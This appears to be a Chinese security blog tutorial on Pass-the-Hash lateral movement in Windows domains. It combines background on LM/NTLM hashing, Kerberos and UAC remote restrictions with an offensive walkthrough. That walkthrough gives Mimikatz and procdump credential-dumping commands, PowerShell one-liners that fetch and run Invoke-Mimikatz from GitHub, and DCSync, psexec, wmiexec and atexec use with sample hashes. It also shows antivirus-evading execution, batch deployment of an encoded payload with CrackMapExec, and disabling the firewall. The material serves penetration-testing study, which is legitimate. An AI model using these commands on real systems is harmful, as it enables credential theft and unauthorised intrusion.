浅探内网横向移动-Pass The Hash
2020-08-17 10:00:39 Author: xz.aliyun.com(查看原文) 阅读量:748 收藏

0x0 前言

  内网渗透中利用Pass The Hash技术能够非常有效、快速地实现横向移动,扩大战果,鉴于网上很多文章,都没有分析其原理和利用场景,所以笔者对此进行了一番粗浅的研究和学习。

0x1 环境准备

工作组环境(非域环境,采用的是基于wifi的桥接模式):

win2008(dhcp随机分配动态ip)

win2003(dhcp随机分配动态ip)

域环境: test.local 域

DC:

win2012

10.211.55.38 hostname:dc

Administrator 123QWEqwe!@#

User:

1.win2008

10.211.55.42 (静态IP) hostname:xq17

2.win7

10.211.55.41 ( 静态IP) hostname:John

0x2 什么是PTH攻击

这个概念,BeyondTrust写的比较全,这里直接引用了。

A Pass-the-Hash (PtH) attack is a technique whereby an attacker captures a password hash (as opposed to the password characters) and then simply passes it through for authentication and potentially lateral access to other networked systems. The threat actor doesn’t need to decrypt the hash to obtain a plain text password. PtH attacks exploit the authentication protocol, as the passwords hash remains static for every session until the password is rotated. Attackers commonly obtain hashes by scraping a system’s active memory and other techniques.

While Pass-the-Hash (PtH) attacks can occur on Linux, Unix, and other platforms, they are most prevalent on Windows systems. In Windows, PtH exploits Single Sign-On (SS0) through NT Lan Manager (NTLM), Kerberos, and other authentication protocols. When a password is created in Windows, it is hashed and stored in the Security Accounts Manager (SAM), Local Security Authority Subsystem (LSASS) process memory, the Credential Manager (CredMan) store, a ntds.dit database in Active Directory, or elsewhere. So, when a user logs onto a Windows workstation or server, they essentially leave behind their password credentials.

哈希传递(pth)攻击是指攻击者可以通过捕获密码的hash值(对应着密码的值),然后简单地将其传递来进行身份验证,以此来横向访问其他网络系统。 攻击者无须通过解密hash值来获取明文密码。因为对于每个Session hash值都是固定的,除非密码被修改了(需要刷新缓存才能生效),所以pth可以利用身份验证协议来进行攻击。 攻击者通常通过抓取系统的活动内存和其他技术来获取哈希。

虽然哈希传递攻击可以在Linux,Unix和其他平台上发生,但它们在windows系统上最普遍。 在Windows中,pth通过NT Lan Manager(NTLM),Kereros和其他身份验证协议来进行单点登录。在Windows中创建密码后,密码经过哈希化处理后存储在安全账户管理器(SAM),本地安全机构子系统(LSASS)进程内存,凭据管理器(CredMan),Active Directory中的ntds.dit数据库或者其他地方。因此,当用户登录windows工作站或服务器时,他们实际上会留下密码凭据(hash)。

Hash,一般翻译"散列",也直接音译为"哈希",就是把任意长度的输入(又叫做预映射pre-image)通过散列算法变换成固定长度的输出,该输出就是散列值。这种转换是一种压缩映射, 散列值的空间通常远小于输入的空间,不同的输入可能会散列处相同的输出,所以不可能从散列值来确定唯一的输入值(概率很低)。简单的说就是一种将任意长度的信息压缩到某一固定长度的信息摘要的函数。

0x3 PTH 的影响面

如果系统安装KB2871997补丁或者系统版本大于等于window server 2012时(服务器版本),大于等于win8.1(家庭版本)时,默认在lsass.exe这个进程中不会再将可逆的密文缓存在自己的进程内存中,所以我们默认是没办法通过读取这个进程然后逆向该密文来获取明文密码的了,虽然为了兼容HTTP摘要式身份验证以及其他要求身份验证方知道密码的方案,我们可以通过修改注册表

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

来强制要求lsass.exe来缓存明文密码再进行抓取,但是这种方式要求系统重启或者用户重新登录,在实战中操作起来成功率还是比较低的。

通过明文密码来横向移动是极其有效的,一个是通用弱口令,一个是密码规律的猜测,在大量机器的环境中都是很可能存在的,但是随着系统版本迭代,我们获取到明文密码的难度越来越大,但是hash的获取是固定存在的,因为window中经常需要用hash来进行验证和交互。

所以利用hash来进行横向移动在内网渗透中经常充当主力的角色。

0x4 windows 的历史

由于后面在涉及一些补丁说明的时候会谈到系统版本的问题,所以我们简单回顾下window NT系统历程。

  • Windows NT 3.1、3.5、3.51
  • Windows NT 4.0
  • Windows 2000(Windows NT 5.0)
  • Windows XP(Windows NT 5.1)
  • Windows Server 2003(Windows NT 5.2)
  • Windows Vista(Windows NT 6.0)
  • Windows Server 2008(Windows NT 6.0)
  • Windows 7(Windows NT 6.1)
  • Windows Server 2008 R2(Windows NT 6.1)
  • Windows Home Server
  • Windows 8(Windows NT 6.2)
  • Windows Server 2012(Windows NT 6.2)
  • Windows 8.1(Windows NT 6.3)
  • Windows Server 2012 R2(Windows NT 6.3)
  • Windows 10(开发初期:Windows NT 6.4,现NT 10.0)
  • Windows Server 2016 (Windows NT 10)
  • Windows Server 2019 (Windows NT 10)

大概在win 2000的时候, 微软就有了针对服务器和家庭客户两种需求定制合适的操作系统的计划,当时win2000主要服务的是服务器市场, 在2001年,windows xp 集成了win2000和winMe两个操作系统的优点,开始走入了家庭客户的市场。

所以后面带具体年份的和Server标志的就作为服务器版本,反之则是家庭版本。

其中win2003 R2 是在 win2003 基础上加入了更多的服务器管理工具。

在Window的历史中,XP同样也陪伴了我年少的时光,在2001年发布, 2014年微软取消对window XP的技术支持,

后面被window vista 所取代, 桌面UI和功能感觉彻底跟XP划开了界限,直至我们后来用的win7、win8、win10都是

在此的基础上一代代地改进。(微软对操作系统的安全性还是比较重视,做了不少措施,比如内置Defender)

在内网渗透中,笔者经常遇见的window版本都是win10 win7 win2003 win2008 win2012。家庭版本集中在办公

区,而服务器版本则是生产区, 内部系统所使用(猜测原因:历史遗留原因,更换操作系统成本会比较大)。

More View: Microsoft Windows的历史)

0x5 Hash的认识

上面提到了Hash, 下面我们来学习这两种经典的基础Hash形式。

其实Hash的形式有非常多,比如Hashcat就支持超过200种Hash算法。

这里我们只针对在Pass the hash这个基础涉及到两种Hash算法来展开学习。

0x5.1 LM Hash

LM(LAN Mannager) 协议使用的hash就叫做 LM Hash, 由IBM设计和提出, 在过去早期使用。

由于其存在比较多的缺点,比较容易破解。

自WindowsVista和Windows Server 2008开始,Windows取消LM hash。

但是在win2003中还是存在的,通过爆破LM Hash来获取明文还是比较可行的。

(1) LM Hash生成过程

  • 用户的密码被限制为最多14个字符。
  • 用户的密码转换为大写。
  • 密码转换为16进制字符串,不足14字节将会用0来再后面补全。
  • 密码的16进制字符串被分成两个7byte部分。每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度,再分7bit为一组末尾加0,组成新的编码(str_to_key()函数处理)
  • 上步骤得到的8byte二组,分别作为DES key为"KGS!@#$%"进行加密。
  • 将二组DES加密后的编码拼接,得到最终LM HASH值。
# coding=utf-8
import base64
import binascii
from pyDes import *


def DesEncrypt(str, Des_Key):
    k = des(Des_Key, ECB, pad=None)
    EncryptStr = k.encrypt(str)
    return binascii.b2a_hex(EncryptStr)


def Zero_padding(str):
    b = []
    l = len(str)
    num = 0
    for n in range(l):
        if (num < 8) and n % 7 == 0:
            b.append(str[n:n + 7] + '0')
            num = num + 1
    return ''.join(b)


if __name__ == "__main__":

    test_str = "123456"
    # 用户的密码转换为大写,并转换为16进制字符串
    test_str = test_str.upper().encode('hex')
    str_len = len(test_str)

    # 密码不足14字节将会用0来补全
    if str_len < 28:
        test_str = test_str.ljust(28, '0')

    # 固定长度的密码被分成两个7byte部分
    t_1 = test_str[0:len(test_str) / 2]
    t_2 = test_str[len(test_str) / 2:]

    # 每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
    t_1 = bin(int(t_1, 16)).lstrip('0b').rjust(56, '0')
    t_2 = bin(int(t_2, 16)).lstrip('0b').rjust(56, '0')

    # 再分7bit为一组末尾加0,组成新的编码
    t_1 = Zero_padding(t_1)
    t_2 = Zero_padding(t_2)
    print t_1
    t_1 = hex(int(t_1, 2))
    t_2 = hex(int(t_2, 2))
    t_1 = t_1[2:].rstrip('L')
    t_2 = t_2[2:].rstrip('L')

    if '0' == t_2:
        t_2 = "0000000000000000"
    t_1 = binascii.a2b_hex(t_1)
    t_2 = binascii.a2b_hex(t_2)

    # 上步骤得到的8byte二组,分别作为DES key为"KGS!@#$%"进行加密。
    LM_1 = DesEncrypt("KGS!@#$%", t_1)
    LM_2 = DesEncrypt("KGS!@#$%", t_2)

    # 将二组DES加密后的编码拼接,得到最终LM HASH值。
    LM = LM_1 + LM_2
    print LM

(2) LM Hash的缺点

1.密码长度最大只能为14个字符

2.密码不区分大小写(加密过程统一转换为大写,导致的)

3.加密结果后16位为aad3b435b51404ee,则说明密码强度小于7位。(如果不够7位的话,后面需要用0来补全)

0x5.2 NTLM Hash

NT LAN Manager(NTLM) 哈希是windows系统认可的另一种算法,用于替代古老的LM-Hash, 一般指Windows系统下Security Account Manager(SAM)中保存的用户密码的hash。在Windows Vista/Windows 7/Windows Server 2008以及后面的系统中,NTLM哈希算法是默认启用的。

(1) NTLM Hash 生成过程

  1. 先将用户密码转换为十六进制格式。
  2. 将十六进制格式的密码进行Unicode编码。
  3. 使用MD4摘要算法对Unicode编码数据进行Hash计算
python2 -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "admin".encode("utf-16le")).digest())'

可以看到NTLM在加密的强度上弥补了LM上的不足。

0x6 Windows 认证方式

window 认证方式可以根据协议简单划分为: NTLM协议认证和Kerberos协议认证两种

根据作用场景可以划分为: 本地认证和网络认证

其中网络认证: NTLM协议、Kerberos协议都支持

0x6.1 本地认证

本地认证指的是操作系统运行winlogon进程显示登陆界面,接收用户的输入,然后将输入密码交予给lsass进程,这个进程会有两个操作:

(1)使用动态密钥对称加密(Mimikatz可以解密)的方式在内存缓存一份"明文密码"

(2)将密码转换成NTLM Hash

然后会将NTLM Hash与本地的SAM数据库中存储的密码进行比对,如果一致则通过验证。

SAM(Security Account Manager) 安全账户管理器是一个数据库文件,在Windows XP,Windows Vista,windows7-10用于存储用户的密码。他可以用来验证本地和远程用户。在windows 2000 sp4 开始,Active Dircetory 对远程用户进行身份验证。SAM使用加密措施来防止未经身份验证的用户访问系统。

用户密码以哈希格式存储在 注册表配置单元中(registry hive), 作为LM Hash or NTLM Hash.

这个文件可以在%SystemRoot%/system32/config/SAM 和 挂载在HKLM/SAM

WIndows运行时无法移动或者复制SAM文件,因为Windows 内核获取并在SAM文件上保留了独占的文件系统锁,并且在操作系统关闭之前不会释放该锁,但是我们可以通过多种技术比如pwdump来转储SAM内容的内存中副本,从而使密码哈希可用于离线暴力攻击。

后来为了提高针对破解的SAM数据库的安全性, Microsoft 在Windows NT 4.0 中引入了SYSKEY功能。该功能会使用密钥对存储在SAM中的所有本地账户的密码哈希值进行加密。可以通过syskey程序来启用它。

0x6.2 网络认证

工作组环境中,我们如果需要进行文件共享,就会涉及到smb协议。smb协议属于microsoft网络的通讯协议,使用了NetBIDOS的应用程序接口(Application program Interface,API),一般使用的端口为139,445

早期SMB协议在网络上传输明文口令。后来出现LAN Manager Challenge/Response 验证机制,简称LM。

上面我们知道这种方式非常容易破解,所以后来微软提出了 WindowsNT 挑战/响应验证机制,称之为NTLM。

之后在域环境中又诞生了安全性更好的Kerberos协议。

(1) NTLM协议

NTLM协议是一种网络认证协议,采用一种质询/应答(Challenge/Response)信息交换模式。

认证流程:

(1) 协商: 确认双方协议版本、加密等级

(2)质询: 质询/应答(Challenge/Response)信息交换的过程

(3)认证: 验证结果

工作组环境下

质询过程:

域环境下(检验过程在域控制器):

这个认证过程原理非常简单, 本意应该就是想避免NTLM Hash直接在网络上传输,核心就是不直接检验NTLM Hash,而是通过比较 Net-NTLM Hash(基于NTLM Hash生成)的结果来比较NTML Hash是否正确。

在这里这可以引出一个比较有意思的知识点: Net-NTLM Hash

存在两个版本

Net-NTLMv1:window2003和window xp之前默认启用

Net-ntlm hash v1的格式为username::hostname:LM response:NTLM response:challenge

由于v1版本的加密方式比较脆弱,很容易解密得到NTLM Hash,基本在可控时间内能解出。

Net-NTLMv2:window2008 和 window Vist之后默认启用

Net-ntlm hash v2的格式为username::domain:challenge:HMAC-MD5:blob

v2版本,加密方式比较强,但是可以进行明文爆破,利用难度比较大。

关于Net-NTLM的利用需要交互等一些技巧可以单独来讲讲,与本文关系不是很大,这里就不展开了,先了解概念和作用范围吧。

(2)Kerberos协议

Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一 种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的

在域环境中默认使用该协议来进行身份验证,如果Kerberos认证出现错误时,再使用NTLM协议来进行认证。

涉及到的概念:

KDC(Key Distribution Center): 密钥分发中心(AS和TGS组成),默认安装在域控中。

AS(Authentication Server):认证服务器

TGS(Ticket Granting Server): 票据授权服务器

TGT(Ticket Granting Ticket): 票据的票据(入场劵,通过它可以获取到票据,是一种临时凭证)

Kerberos协议的认证流程:

1.Client->AS: Client先向KDC的认证服务器AS发送内容为通过client 密码Hash加密的时间戳、Client ID、网络地址、解密类型等内容的Authenticatior1。

2.AS->Client: KDC中存储了所有用户密码的hash,当AS接收到Client的请求后会根据KDC中存储的密码来解密,解密成功并且验证信息。验证成功后返回给Client由Client密码Hash加密的Sessionkey-as和TGT(由KRBTGT HASH加密的Sessionkey-as和时间戳等信息)

3.Client->TGS: Client接收到加密的Sessionkey-as和票据TGT后,用自身的密码Hash解密得到Sessionkey-as,由于TGT是由KDC密码加密,没办法解密,所以Client向TGS发送内容为用sessionkey-as加密的时间戳Authenticator2和票据TGT来获取能够访问Server的票据。

4.TGS->Client: TGS收到Client发送过来的TGT和Sessionkey-as加密的时间戳之后,首先会检查自身是否存在Client所请求的服务,如果服务存在,则用KRBTGT密码解密TGT拿到Sessionkey-as。一般情况下TGS会检查TGT中的时间戳查看TGT是否过期,且原始地址是够和TGT中不保存的地址相同。验证成功之后将sessionkey-as加密的Sessionkey-tgs和票据ST(Server密码Hash加密的Sessionkey-tgs)发送给Client

5.Client->Server:Client收到Sessionkey-as加密的sessionkey-tgs和票据(Server密码Hash加密的sessionkey-tgs)之后用sessionkey-as解密得到的sessionkey-tgs,然后把内容为Sessionkey-tgs加密的时间戳Authenticator3和票据ST一起发送给Server。

6.Server-Client:Server通过自己的密码解密票据ST,得到sessionkey-tgs,再用sessionkey-tgs解密Authenticator3得到时间戳,验证正确返回验证成功。

Kerberos协议的优点:

(1) 较高的性能(client经过验证之后获取到票据,后面Server可以直接通过票据来对client进行验证)

(2) Kerberos 可以进行双向身份认证,确定访问的资源的确来自于真实的Server

ps: 关于Kerberos的横向移动与本文没有太大关系,所以就不花费笔墨分析Kerberos的实现了,当做是一个背景知识的本补充吧

0x7 PTH的"转折点"

0x7.1 UAC远程限制策略

由于一些文章和微软官方的错误解释,很多人认为KB2871997补丁 限制了Pass The Hash的使用。

经过拜读KB22871997是否真的能防御PTH攻击Pass-the-Hash is Dead: Long Live Pass-the-HashPass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy和与@lz1y 师傅交流之后,对这方面有了一些自己的理解。

一开始错认为自window vista之后没办法使用RID非500的本地管理员用户来进行Pass The Hash, 但是如果是域用户且该域用户属于本地Administrators组的成员也可以进行pass the hash的诡异现象是由于KB22871997补丁的作用,其实不然,产生这个阻止行为的真正原因应该是

user account control(UAC) token filtering in the context of remote access(UAC 远程限制)

在微软的官方文档中提到: Description of User Account Control and remote restrictions in Windows Vista

UAC是window Vista的新安全组件,在win2003中是不会受到这种影响的。

可以看到UAC为了更好地保护属于本地Administrators组成员的那些用户,在网络上也实施了UAC的限制。

例如,当作为目标远程计算机上本地管理员组成员的用户通过使用net use * \ remotecomputer \ Share $命令建立远程管理连接时,他们将不会以完全管理员身份进行连接。用户在远程计算机上没有潜在的提升权限,并且用户无法执行管理任务。如果用户要使用安全帐户管理器(SAM)帐户管理工作站,则用户必须以交互方式登录到要通过远程协助或远程桌面管理的计算机。

具有域用户帐户的用户可以远程登录Windows Vista计算机。并且,域用户是Administrators组的成员。在这种情况下,域用户将在远程计算机上使用完整的管理员访问令牌运行,并且UAC无效。

注意此行为与Windows XP中的行为没有什么不同

至于为什么UAC会有这些特定的限制,我们可以通过查阅UAC Group Policy Settings and Registry Key Settings?redirectedfrom=MSDN#BKMK_BuiltInAdmin)

UAC组策略的设置影响的版本

Applies To: Windows 7, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2s

其中有一个

用户账户控制:内置的Administrator帐户管理员批准模式

其默认值是Disabled

通过这个设置这个为Enabled,我们可以限制rid为500的本地管理员账户进行远程登录,但是默认是关闭的,所以我们仍让可以利用这个rid500的本地管理员账户开尝试进行Pass The Hash的攻击。

同时根据文档可知,我们可以根据设置注册表的LocalAccountTokenFilterPolicy键值来关闭UAC远程限制

笔者在测试win2008r2的时候,发现该表项是不存在的,我们可以根据文档的说明新建一个新的LocalAccountTokenFilterPolicy,其中该值为0则代表开启UAC的远程限制,设置该值为1时,则代表关闭UAC的远程限制。

UAC远程限制虽然默认是启动的,但是由于该设置可能会对一些业务产生不好的影响,通过google搜索LocalAccountTokenFilterPolicy 出错/error等字眼,可以看到与之相关问题的解决方法很多都是通过直接关闭UAC远程限制。比如微软的文档就有涉及

所以在真实的业务环境中,运维为了考虑向后兼容性,存在着为了功能的实现而妥协关闭了UAC远程限制的可能,然而却不知道关闭了UAC远程限制,相当于给Pass The Hash打开了一扇无人看管的大门。

0x7.2 KB2871997补丁的真正作用

补丁在win server 2012R2及以上版本已经默认集成

虽然KB2871997补丁没能真正阻止PTH攻击,但是在一定程度上缓解了PTH的问题。

1.Protected Users

受保护用户是一个新的域全局安全组,所属用户会被强制要求使用Kerberos认证,可以避免PTH攻击

2.删除lsass缓存的凭据

可以避免直接读取lsass内存来获取明文密码和密码Hash,减轻了PTH攻击的基础面(获取Hash),但是有局限性(存在其他途径可以获取到hash)。

3.Restricted Admin RDP模式的远程桌面客户端支持

受限管理员模式能够避免发送明文,服务端也不会缓存用户凭据,但是这种方式也可以增加了新的攻击路径,即可以以pth的方式向远处桌面服务器发起认证。

...

关于这个补丁还有一些其他的更新,如果有其他的点与PTH相关欢迎指出。

0x8 PTH利用实践

第一步,如何获取到Hash

0x8.1 获取Hash

这里只是介绍我比较喜欢使用的方式,期待有更好更快捷安全的方式师傅们能不吝指教:

(1) Mimikatz交互式获取

读取lsass进程的信息

privilege::debug
sekurlsa::logonPasswords

读取SAM数据库获取用户Hash,获取系统所有本地用户的hash

privilege::debug
token::elevate
lsadump::sam

(2) Cobalt Strike 抓取

木马需要是管理员的权限,通过右键选择Access的模块中的

Dump Hashes读取sam数据库和Run Mimikatz读取lsass进程中的凭据。

读取的凭据可以在view-Credentials中查看。

(3) powershell读取

Invoke-Mimikatz.ps1的用法

.EXAMPLE

Execute mimikatz on the local computer to dump certificates.
Invoke-Mimikatz -DumpCerts

.EXAMPLE

Execute mimikatz on two remote computers to dump credentials.
Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2")

.EXAMPLE

Execute mimikatz on a remote computer with the custom command "privilege::debug exit" which simply requests debug privilege and exits
Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1"

无文件读取方式:

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

读取sam数据库:

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command \"privilege::debug token::elevate  lsadump::sam exit\""

(4) SAM表离线获取hash

reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
lsadump::sam /sam:SAM /system:SYSTEM

然后下载保存的SAM和SYSTEM丢到有Mimikatz的系统中进行解密获取

(5)转储lsass进程离线获取hash

找到lsass进程,然后创建转储文件

将该文件下载回来放置在Mimikatz的同目录下

1.sekurlsa::minidump lsass.DMP
2.sekurlsa::logonPasswords full

当然我们也可以使用procdump这个程序来导出lsass.dmp,只需在命令行获取system权限操作即可。

32位机器:procdump.exe -accepteula -ma lsass.exe lsass.dmp 
64位机器:procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

(6)获取域内所有hash

这个需要高权限账户,具体的账户权限要求,可以放在域权限维持来讲,我们学习如何获取到hash然后横向移动才是我们本篇的学习重点。

  • cobalt strike的hashdump

  • cobal strike的dcsync(*)

    可以从域控中提取所有账户的hash。Beacon通过mimikatz来执行此技术

    mimikatz可以执行lsadump::dcsync /domain:test.local /all /csv通过dcsync进行域控制器之间查询信息来获取hash。

在cobal strike 可以用

1.查询域内所有hash
    dcsync [DOMAIN.FQDN]
  2.查询指定用户hash
    dcsync [DOMAIN.FQDN] [DOMAIN\user]

  • powershell 的方式

    1.导出域内所有用户的hash
      Invoke-DCSync -DumpForest | ft -wrap -autosize
    2.导出指定账户的hash
      Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize

0x8.2 Hash传递方式

通过上面介绍的方式,我们已经成功获取到了Hash,那么接下来就到如何利用Hash来搞事情了。

下面的方式主要是通过445,135,139,5985 (http) 或 5986(https) 这四个端口的服务来进行的。

  • 1.Mimikatz 交互式获取

    这个需要本地管理员权限(由Mimikatz的实现机制决定的)

    privilege::debug
    sekurlsa::pth /user:administrator /domain:workgroup /ntlm:852a844adfce18f66009b4f14e0a98de

    会弹出一个交互式的终端,这个终端以及伪造为我们指定的hash和用户,可以直接访问smb服务,我们可以通过copy文件,然后执行计划任务去拿到shell(这个思路有自动化实现的工具)。

  • 2.psexec

    这里推荐使用impacket套装,有exe和py版本

    psexec.exe [email protected] -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de
    

    之后会弹回一个system权限的交互shell。

    python psexec.py  [email protected]   -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de
    

    这种方式方便我们直接通过代理在自己本机执行(py测试2003,但exe可以成功)

  • 3.wmiexec

    python wmiexec.py -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de [email protected]
    

  • 4.免杀的WMIHacker

    这个也是基于WMI的方式,不过能够躲避杀软,记录下用法

    需要配合Mimikatz生成一个凭据终端

    privilege::debug
    sekurlsa::pth /user:administrator /domain:workgroup /ntlm:852a844adfce18f66009b4f14e0a98de

    然后在该终端执行:

    cscript WMIHACKER_0.6.
    vbs  /cmd 10.73.147.29 "-" "-" ipconfig 1

感觉使用还是挺不方便的,欢迎有师傅改造一下

  • 5.atexec

    这个就是自动化实现计划任务的方式。

    atexec.exe -hashes 62
    4aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de administrator@10
    .73.147.29 whoami
    

0x8.3 pth批量横向移动

  • CrackMapExec的使用

    CME集成了wmiexec、atexe、smbexec的方式,集成了smb扫描,口令爆破等功能,非常适合拿来快速移动。

    第一步我们可以用cme来进行网段的smb扫描确定目标系统和smb服务

    cme smb 192.168.0.0/24 -t 255
    

如果我们知道目标系统的账户密码,我们可以先简单探测一下

cme smb 192.168.0.100-110 -u administrator -p '123456' 'test123..'  -t 255

支持多用户、多密码、账户密码文件等方式进行密码探测(Pwn3d!代表口令正确)

支持导出sam数据库

cme smb 192.168.0.108 -u administrator -p 'test123..' --sam  -t 255

最关键的是支持批量传递hash的功能。

cme smb 10.73.147.90 10.73.147.88 -u administrator -H 852a844adfce18f66009b4f14e0a98de

同时我们可以批量执行命令:

cme smb 10.73.147.90 10.73.147.88 -u administrator -H 852a844adfce18f66009b4f14e0a98de  -x "whoami"

或者执行powershell,我们可以通过CS的powershell command然后粘贴生成的payload.txt中的内容直接-x执行即可批量上马。

cme smb 10.211.55.51  10.211.55.52 -u administrator  -H 852a844adfce18f66009b4f14e0a98de -x "powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0..."

最后还可以快速地探测web服务和端口来针对性攻击

# 默认检查:80,443,8443,8008,8080,8081 端口

  # 指定端口
  cme http 192.168.1.0/24 --port 445 139 135 5985 5986 -t 10
  • Cobalt Strike 的横向移动

    假设现在我们已经有了域控的机器。

    首先我们dump出域内所有的hash

    dcsync test.local

下面我们就可以查询域内机器然后Ping机器名得到ip

shell  net group "domain computers" /domain

有时候因为有防火墙禁止Ping,这里先关闭机子的防火墙

netsh advfirewall set currentprofile state off

portscan 10.211.55.42 445,135,139,5985,5986

可以看到139、135、445都开放,后面就可以选择wmic和psexec的方向横向过去。

点击view->target添加目标

然后选择

然后选择我们当前控制的这个机器为Session,Listener选择smb正向连接方式,凭证使用域管理员即可。

点击Launch即可成功上线

0x9 总结

  作为一个内网向的萌新选手,虽然研究了很久pth,还是很遗憾没能凑出一个完整的攻击路径和全面的横向攻略。故本文只是基于无杀毒、无策略等多无的简单环境(现实中不可能存在的),其中对于杀软的对抗也很重要,在复杂环境中利用一些特殊的可pth的点也没有说明,只是记录了下自己在大方面的学习历程,后面继续一点一点地补完一些值得研究且很有用的点。

0x10 参考链接

Pass-the-Hash (PtH) Attack

深入研究Pass-the-Hash攻击与防御

剖析Hash传递攻击的本质、缓解方式及部分绕过手段

域渗透——Pass The Hash & Pass The Key – 三好学生

刨根问底:Hash传递攻击原理探究

内网渗透--Hash传递攻击
...


文章来源: http://xz.aliyun.com/t/8117
如有侵权请联系:admin#unsafe.sh